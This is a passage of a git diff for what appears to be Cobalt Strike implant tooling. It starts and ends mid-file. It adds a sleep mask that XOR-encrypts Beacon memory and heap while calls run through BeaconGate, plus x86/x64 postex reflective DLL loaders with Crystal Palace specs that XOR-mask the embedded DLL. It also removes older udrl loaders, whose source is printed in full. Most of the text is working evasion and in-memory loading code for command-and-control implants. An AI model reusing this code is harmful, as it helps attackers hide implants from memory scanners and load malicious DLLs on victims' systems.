); + break; + + case 5: + result = beaconGate ( 05 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ) ); + break; + + case 6: + result = beaconGate ( 06 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ) ); + break; + + case 7: + result = beaconGate ( 07 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ) ); + break; + + case 8: + result = beaconGate ( 08 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ) ); + break; + + case 9: + result = beaconGate ( 09 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ), arg ( 8 ) ); + break; + + case 10: + result = beaconGate ( 10 ) ( arg ( 0 ), arg ( 1 ), arg ( 2 ), arg ( 3 ), arg ( 4 ), arg ( 5 ), arg ( 6 ), arg ( 7 ), arg ( 8 ), arg ( 9 ) ); + break; + + default: + break; + } + + function_call->retValue = result; +} + +void xor ( char * buffer, size_t buffer_len, char * key, size_t key_len ) +{ + for ( size_t i = 0; i < buffer_len; i++ ) + { + buffer [ i ] ^= key [ i % key_len ]; + } +} + +BOOL can_write ( DWORD protection ) +{ + switch ( protection ) + { + case PAGE_EXECUTE_READWRITE: + case PAGE_EXECUTE_WRITECOPY: + case PAGE_READWRITE: + case PAGE_WRITECOPY: + return TRUE; + + default: + return FALSE; + } +} + +void mask_section ( PALLOCATED_MEMORY_SECTION section, char * key, BOOL mask ) +{ + DWORD old_protect = 0; + + if ( mask && ! can_write ( section->CurrentProtect ) ) + { + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->VirtualSize, PAGE_READWRITE, &old_protect ) ) + { + section->CurrentProtect = PAGE_READWRITE; + section->PreviousProtect = old_protect; + } + } + + if ( can_write ( section->CurrentProtect ) ) { + xor ( section->BaseAddress, section->VirtualSize, key, MASK_SIZE ); + } + + if ( ! mask && section->CurrentProtect != section->PreviousProtect ) + { + if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->VirtualSize, section->PreviousProtect, &old_protect ) ) + { + section->CurrentProtect = section->PreviousProtect; + section->PreviousProtect = old_protect; + } + } +} + +void mask_region ( ALLOCATED_MEMORY_REGION * region, char * key, BOOL mask ) +{ + int section_count = sizeof ( region->Sections ) / sizeof ( ALLOCATED_MEMORY_SECTION ); + + for ( int i = 0; i < section_count; i++ ) + { + if ( region->Sections[i].BaseAddress == NULL || region->Sections[i].VirtualSize == 0 ) { + continue; + } + + if ( region->Sections[i].MaskSection ) { + mask_section ( ®ion->Sections[i], key, mask ); + } + } +} + +void mask_beacon ( PBEACON_INFO beacon_info, BOOL mask ) +{ + int region_count = sizeof ( beacon_info->allocatedMemory.AllocatedMemoryRegions ) / sizeof ( ALLOCATED_MEMORY_REGION ); + + for ( size_t i = 0; i < region_count; i++ ) + { + if ( beacon_info->allocatedMemory.AllocatedMemoryRegions[i].Purpose == PURPOSE_BEACON_MEMORY ) + { + mask_region ( &beacon_info->allocatedMemory.AllocatedMemoryRegions[i], beacon_info->mask, mask ); + break; + } + } +} + +void mask_heap ( PBEACON_INFO beacon_info ) +{ + int count = 0; + + do + { + xor ( beacon_info->heap_records[count].ptr, beacon_info->heap_records[count].size, beacon_info->mask, MASK_SIZE ); + count++; + + } while ( beacon_info->heap_records[count].ptr != NULL ); +} + +void mask_memory ( PBEACON_INFO beacon_info, BOOL mask ) +{ + mask_beacon ( beacon_info, mask ); + mask_heap ( beacon_info ); +} + +void go ( PBEACON_INFO beacon_info, PFUNCTION_CALL function_call ) +{ + if ( function_call->bMask ) { + mask_memory ( beacon_info, TRUE ); + } + + gate_wrapper ( function_call ); + + if ( function_call->bMask ) { + mask_memory ( beacon_info, FALSE ); + } +} diff --git a/mask/src/sleepmask.h b/mask/src/sleepmask.h new file mode 100644 index 0000000..f00d74f --- /dev/null +++ b/mask/src/sleepmask.h @@ -0,0 +1,42 @@ +/* Define the supported action types for the pivot beacons */ +typedef enum _PIVOT_ACTION { + ACTION_UNKNOWN, + ACTION_TCP_RECV, + ACTION_TCP_ACCEPT, + ACTION_PIPE_WAIT, + ACTION_PIPE_PEEK +} PIVOT_ACTION; + +/* + * action - defines which ACTION_ type to use in the pivot_sleep + * in - defines the in socket for the ACTION_TCP_ types +* out - defines the out socket for the ACTION_TCP_ types + * pipe - defines the pipe for the ACTION_PIPE_ types + */ +typedef struct _PIVOT_ARGS { + PIVOT_ACTION action; + SOCKET in; + SOCKET out; + HANDLE pipe; +} PIVOT_ARGS, * PPIVOT_ARGS; + +typedef enum _REASON_FOR_CALL { + DEFAULT_SLEEP, + PIVOT_SLEEP, + BEACON_GATE +} REASON_FOR_CALL; + +/* + * version - version of the structure. format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * sleepmask_type - sleep mask type: +* sleep_time - the time to sleep in milliseconds + * beacon_info - the BEACON_INFO structure + * pivot_args - the PIVOT_ARGS structure + */ +typedef struct _SLEEPMASK_INFO { + unsigned int version; + REASON_FOR_CALL reason; + DWORD sleep_time; + BEACON_INFO beacon_info; + PIVOT_ARGS pivot_args; +} SLEEPMASK_INFO, * PSLEEPMASK_INFO; \ No newline at end of file diff --git a/postex-udrl/src/tcg.h b/mask/src/tcg.h similarity index 85% rename from postex-udrl/src/tcg.h rename to mask/src/tcg.h index f48cbd9..75a77e4 100644 --- a/postex-udrl/src/tcg.h +++ b/mask/src/tcg.h @@ -15,7 +15,7 @@ * endorse or promote products derived from this software without specific prior written * permission. * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, @@ -26,11 +26,19 @@ * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ +// used by both the Pico Loader and DLL loader typedef struct { __typeof__(LoadLibraryA) * LoadLibraryA; __typeof__(GetProcAddress) * GetProcAddress; } IMPORTFUNCS; +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + #define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) #define DEREF( name )*(UINT_PTR *)(name) @@ -40,6 +48,12 @@ typedef struct { IMAGE_OPTIONAL_HEADER * OptionalHeader; } DLLDATA; +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + /* * printf-style debugging. */ @@ -50,6 +64,7 @@ void dprintf(char * format, ...); */ typedef void (*PICOMAIN_FUNC)(char * arg); +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); int PicoCodeSize(char * src); int PicoDataSize(char * src); @@ -58,8 +73,8 @@ void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); /* * Resolve functions by walking the export address table */ -void * findFunctionByHash(char * src, DWORD wantedFunction); -char * findModuleByHash(DWORD moduleHash); +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); /* * DLL parsing and loading functions diff --git a/postex-udrl/Makefile b/postex-udrl/Makefile deleted file mode 100644 index 12f49f9..0000000 --- a/postex-udrl/Makefile +++ /dev/null @@ -1,12 +0,0 @@ -CC_64 = x86_64-w64-mingw32-gcc - -all: bin/loader.x64.o - -bin: - mkdir bin - -bin/loader.x64.o: bin - $(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o - -clean: - rm -f bin/* \ No newline at end of file diff --git a/postex-udrl/README.md b/postex-udrl/README.md deleted file mode 100644 index a8536d4..0000000 --- a/postex-udrl/README.md +++ /dev/null @@ -1,13 +0,0 @@ -# Postex Loader - -This loader is used with Beacon's fork & run commands that utilise a postex DLL. - -It assumes that `post-ex.smart-inject` is enabled to receive pointers to -GetModuleHandleA and GetProcAddress from the parent Beacon. The loader -uses these to resolve APIs required to load the DLL, rather than walking -the export address table. - -The loader also passes RDATA_SECTION information to the postex DLL, as -some long-running jobs can obfuscate their .rdata section while waiting. - -The postex DLL is masked with a random XOR key and unmasked at runtime. diff --git a/postex-udrl/bin/loader.x64.o b/postex-udrl/bin/loader.x64.o deleted file mode 100644 index 31245e1..0000000 Binary files a/postex-udrl/bin/loader.x64.o and /dev/null differ diff --git a/postex-udrl/loader.spec b/postex-udrl/loader.spec deleted file mode 100644 index 8d5b341..0000000 --- a/postex-udrl/loader.spec +++ /dev/null @@ -1,24 +0,0 @@ -name "Beacon Postex Loader" -describe "PIC loader for Cobalt Strike's postex DLLs" -author "Daniel Duggan (@_RastaMouse)" - -x64: - load "bin/loader.x64.o" - make pic +gofirst +optimize +disco - dfr "resolve" "strings" - patch "pGetModuleHandle" $GMH - patch "pGetProcAddress" $GPA - mergelib "../libtcg.x64.zip" - - generate $KEY 128 - - push $DLL - xor $KEY - preplen - link "dll" - - push $KEY - preplen - link "key" - - export \ No newline at end of file diff --git a/postex-udrl/src/loader.c b/postex-udrl/src/loader.c deleted file mode 100644 index e321c45..0000000 --- a/postex-udrl/src/loader.c +++ /dev/null @@ -1,152 +0,0 @@ -/* - * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "tcg.h" - -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); -DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count); - -__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text"))); -__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text"))); - -char * resolve(char * module, char * function) { - HANDLE hModule = pGetModuleHandle(module); - if (hModule == NULL) { - hModule = LoadLibraryA(module); - } - return (char *)pGetProcAddress(hModule, function); -} - -#define GETRESOURCE(x) (char *)&x - -char _DLL_[0] __attribute__((section("dll"))); -char _KEY_[0] __attribute__((section("key"))); - -typedef struct { - int length; - char value[]; -} RESOURCE; - -typedef struct { - char * start; - DWORD length; - DWORD offset; -} RDATA_SECTION; - -void FixSectionPermissions(DLLDATA * dll, char * dst, RDATA_SECTION * rdata) -{ - DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections; - IMAGE_SECTION_HEADER * sectionHdr = NULL; - void * sectionDst = NULL; - DWORD sectionSize = 0; - DWORD newProtection = 0; - DWORD oldProtection = 0; - - sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader); - - for (int i = 0; i < numberOfSections; i++) - { - sectionDst = dst + sectionHdr->VirtualAddress; - sectionSize = sectionHdr->SizeOfRawData; - - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { - newProtection = PAGE_WRITECOPY; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) { - newProtection = PAGE_READONLY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) { - newProtection = PAGE_READWRITE; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { - newProtection = PAGE_EXECUTE; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtection = PAGE_EXECUTE_WRITECOPY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtection = PAGE_EXECUTE_READ; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { - newProtection = PAGE_EXECUTE_READWRITE; - } - - KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection); - - if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { - rdata->start = sectionDst; - rdata->length = sectionSize; - rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size; - } - - sectionHdr++; - } -} - -void go(void * loaderArguments) -{ - IMPORTFUNCS funcs; - funcs.LoadLibraryA = LoadLibraryA; - funcs.GetProcAddress = GetProcAddress; - - /* get the masked dll and key */ - RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_); - RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_); - - /* unmask and load into memory */ - char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - for (int i = 0; i < dll->length; i++) { - src[i] = dll->value[i] ^ key->value[i % key->length]; - } - - /* parse dll headers */ - DLLDATA data; - ParseDLL(src, &data); - - /* load it into new memory */ - char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - - LoadDLL(&data, src, dst); - ProcessImports(&funcs, &data, dst); - - RDATA_SECTION rdata; - FixSectionPermissions(&data, dst, &rdata); - - /* get the entry point */ - DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst); - - /* free the unmasked copy */ - KERNEL32$VirtualFree(src, 0, MEM_RELEASE); - - /* call entry point */ - entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata); - entryPoint((HINSTANCE)GETRESOURCE(go), 0x04, loaderArguments); -} \ No newline at end of file diff --git a/postex/Makefile b/postex/Makefile new file mode 100644 index 0000000..d15d4b8 --- /dev/null +++ b/postex/Makefile @@ -0,0 +1,19 @@ +CC=i686-w64-mingw32-gcc +CC_64=x86_64-w64-mingw32-gcc +CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith + +.PHONY: all x86 x64 clean + +all: x86 x64 + +bin: + mkdir -p bin + +x86: bin + $(CC) -DWIN_X86 $(CFLAGS) -c src/loader.c -o bin/loader.x86.o + +x64: bin + $(CC_64) -DWIN_X64 $(CFLAGS) -c src/loader.c -o bin/loader.x64.o + +clean: + rm -rf bin diff --git a/postex/bin/loader.x64.o b/postex/bin/loader.x64.o new file mode 100644 index 0000000..54f2b68 Binary files /dev/null and b/postex/bin/loader.x64.o differ diff --git a/postex/bin/loader.x86.o b/postex/bin/loader.x86.o new file mode 100644 index 0000000..1d101b1 Binary files /dev/null and b/postex/bin/loader.x86.o differ diff --git a/postex/loader.spec b/postex/loader.spec new file mode 100644 index 0000000..205989b --- /dev/null +++ b/postex/loader.spec @@ -0,0 +1,49 @@ +x86: + generate $KEY 2048 + + load "bin/loader.x86.o" + make pic +gofirst +optimize + + fixptrs "_caller" + + dfr "_resolve" "strings" + + patch "_pGetModuleHandle" $GMH + patch "_pGetProcAddress" $GPA + + mergelib "../libtcg.x86.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export + +x64: + generate $KEY 2048 + + load "bin/loader.x64.o" + make pic +gofirst +optimize + + dfr "resolve" "strings" + + patch "pGetModuleHandle" $GMH + patch "pGetProcAddress" $GPA + + mergelib "../libtcg.x64.zip" + + push $DLL + xor $KEY + preplen + link "dll_data" + + push $KEY + preplen + link "key_data" + + export diff --git a/postex/src/loader.c b/postex/src/loader.c new file mode 100644 index 0000000..2b20370 --- /dev/null +++ b/postex/src/loader.c @@ -0,0 +1,115 @@ +#include +#include "tcg.h" +#include "loader.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT LPVOID WINAPIV MSVCRT$malloc ( size_t ); +DECLSPEC_IMPORT void WINAPIV MSVCRT$free ( LPVOID ); + +__typeof__ ( GetModuleHandleA ) * pGetModuleHandle __attribute__ ( ( section ( ".text" ) ) ); +__typeof__ ( GetProcAddress ) * pGetProcAddress __attribute__ ( ( section ( ".text" ) ) ); + +char __DLLDATA__ [ 0 ] __attribute__ ( ( section ( "dll_data" ) ) ); +char __KEYDATA__ [ 0 ] __attribute__ ( ( section ( "key_data" ) ) ); + +FARPROC resolve ( char * mod_name, char * func_name ) +{ + HANDLE module = pGetModuleHandle ( mod_name ); + + if ( module == NULL ) { + module = LoadLibraryA ( mod_name ); + } + + return pGetProcAddress ( module, func_name ); +} + +#ifdef WIN_X86 +__declspec ( noinline ) ULONG_PTR caller ( VOID ) { return ( ULONG_PTR ) WIN_GET_CALLER ( ); } +#endif + +void go ( LPVOID arguments ) +{ + RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( __DLLDATA__ ); + RESOURCE * xor_key = ( RESOURCE * ) GETRESOURCE ( __KEYDATA__ ); + + char * dll_src = MSVCRT$malloc ( masked_dll->length ); + + for ( size_t i = 0; i < masked_dll->length; i++ ) { + dll_src [ i ] = masked_dll->value [ i ] ^ xor_key->value [ i % xor_key->length ]; + } + + DLLDATA dll_data; + ParseDLL ( dll_src, &dll_data ); + + char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE ); + LoadDLL ( &dll_data, dll_src, dll_dst ); + + IMPORTFUNCS funcs; + funcs.GetProcAddress = GetProcAddress; + funcs.LoadLibraryA = LoadLibraryA; + + ProcessImports ( &funcs, &dll_data, dll_dst ); + + RDATA_SECTION rdata; + memset ( &rdata, 0, sizeof ( RDATA_SECTION ) ); + + fix_section_permissions ( &dll_data, dll_dst, &rdata ); + + DLLMAIN_FUNC dll_main = EntryPoint ( &dll_data, dll_dst ); + + MSVCRT$free ( dll_src ); + + dll_main ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + dll_main ( ( HINSTANCE ) &go, 4, arguments ); +} + +void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, RDATA_SECTION * rdata ) +{ + DWORD section_count = dll_data->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll_data->OptionalHeader, dll_data->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( size_t i = 0; i < section_count; i++ ) + { + void * section_dst = dll_dst + section_hdr->VirtualAddress; + DWORD section_size = section_hdr->SizeOfRawData; + + DWORD new_protect; + DWORD old_protect; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + DWORD hash = ror13hash ( ( const char * ) section_hdr->Name ); + + if ( hash == 0xcba738b8 ) + { + rdata->start = section_dst; + rdata->length = section_size; + rdata->offset = dll_data->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size; + } + + section_hdr++; + } +} diff --git a/postex/src/loader.h b/postex/src/loader.h new file mode 100644 index 0000000..de491a7 --- /dev/null +++ b/postex/src/loader.h @@ -0,0 +1,17 @@ +#define GETRESOURCE(x) ( char * ) &x + +#define memset(x, y, z) __stosb ( ( unsigned char * ) x, y, z ); + +typedef struct { + int length; + char value [ ]; +} RESOURCE; + +typedef struct { + char* start; // The start address of the .rdata section + DWORD length; // The length (Size of Raw Data) of the .rdata section + DWORD offset; // The obfuscation start offset +} RDATA_SECTION, *PRDATA_SECTION; + +void go ( ); +void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, RDATA_SECTION * rdata ); diff --git a/postex/src/tcg.h b/postex/src/tcg.h new file mode 100644 index 0000000..75a77e4 --- /dev/null +++ b/postex/src/tcg.h @@ -0,0 +1,102 @@ +/* + * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild + * + * Redistribution and use in source and binary forms, with or without modification, are + * permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this list of + * conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, this list of + * conditions and the following disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its contributors may be used to + * endorse or promote products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +// used by both the Pico Loader and DLL loader +typedef struct { + __typeof__(LoadLibraryA) * LoadLibraryA; + __typeof__(GetProcAddress) * GetProcAddress; +} IMPORTFUNCS; + +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + +#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) +#define DEREF( name )*(UINT_PTR *)(name) + +typedef struct { + IMAGE_DOS_HEADER * DosHeader; + IMAGE_NT_HEADERS * NtHeaders; + IMAGE_OPTIONAL_HEADER * OptionalHeader; +} DLLDATA; + +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + +/* + * printf-style debugging. + */ +void dprintf(char * format, ...); + +/* + * PICO running functions + */ +typedef void (*PICOMAIN_FUNC)(char * arg); + +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); +PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); +int PicoCodeSize(char * src); +int PicoDataSize(char * src); +void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); + +/* + * Resolve functions by walking the export address table + */ +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); + +/* + * DLL parsing and loading functions + */ +typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); + +DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); +IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); +void LoadDLL(DLLDATA * dll, char * src, char * dst); +void LoadSections(DLLDATA * dll, char * src, char * dst); +void ParseDLL(char * src, DLLDATA * data); +void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); +void ProcessRelocations(DLLDATA * dll, char * src, char * dst); +DWORD SizeOfDLL(DLLDATA * data); + +/* + * A macro to figure out our caller + * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 + */ +#ifdef __MINGW32__ +#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) +#else +#pragma intrinsic(_ReturnAddress) +#define WIN_GET_CALLER() _ReturnAddress() +#endif diff --git a/udrl/Makefile b/udrl/Makefile deleted file mode 100644 index 877714a..0000000 --- a/udrl/Makefile +++ /dev/null @@ -1,12 +0,0 @@ -CC_64 = x86_64-w64-mingw32-gcc - -all: bin/loader.x64.o - -bin: - mkdir bin - -bin/loader.x64.o: bin - $(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o - -clean: - rm -f bin/* diff --git a/udrl/README.md b/udrl/README.md deleted file mode 100644 index 880a264..0000000 --- a/udrl/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# BUD Loader - -This loader is used when the BEACON_RDLL_GENERATE hook is called, -i.e. when a new Beacon payload is generated. - -This loader passes Beacon's memory allocation information to Beacon -via Beacon User Data (BUD). It also uses a port of [LibGate](https://github.com/rasta-mouse/LibGate) to -resolve and pass syscall information to Beacon. - -Beacon is masked with a random XOR key and unmasked at runtime. - -## Notes - -1. It's expected that Beacon will free the loader (`stage.cleanup`). diff --git a/udrl/bin/loader.x64.o b/udrl/bin/loader.x64.o deleted file mode 100644 index 0d9193b..0000000 Binary files a/udrl/bin/loader.x64.o and /dev/null differ diff --git a/udrl/loader.spec b/udrl/loader.spec deleted file mode 100644 index 3ccd578..0000000 --- a/udrl/loader.spec +++ /dev/null @@ -1,23 +0,0 @@ -name "Beacon BUD Loader" -describe "PIC loader to pass memory allocation information via Beacon User Data" -author "Daniel Duggan (@_RastaMouse)" - -x64: - load "bin/loader.x64.o" - make pic +gofirst +optimize +disco - dfr "resolve" "ror13" - mergelib "../libgate.x64.zip" - mergelib "../libtcg.x64.zip" - - generate $KEY 128 - - push $DLL - xor $KEY - preplen - link "dll" - - push $KEY - preplen - link "key" - - export \ No newline at end of file diff --git a/udrl/src/beacon.h b/udrl/src/beacon.h deleted file mode 100644 index 3162197..0000000 --- a/udrl/src/beacon.h +++ /dev/null @@ -1,170 +0,0 @@ -/* - * From https://raw.githubusercontent.com/Cobalt-Strike/bof-vs/refs/heads/main/BOF-Template/beacon.h - */ - -#include - -typedef enum { - PURPOSE_EMPTY, - PURPOSE_GENERIC_BUFFER, - PURPOSE_BEACON_MEMORY, - PURPOSE_SLEEPMASK_MEMORY, - PURPOSE_BOF_MEMORY, - PURPOSE_USER_DEFINED_MEMORY = 1000 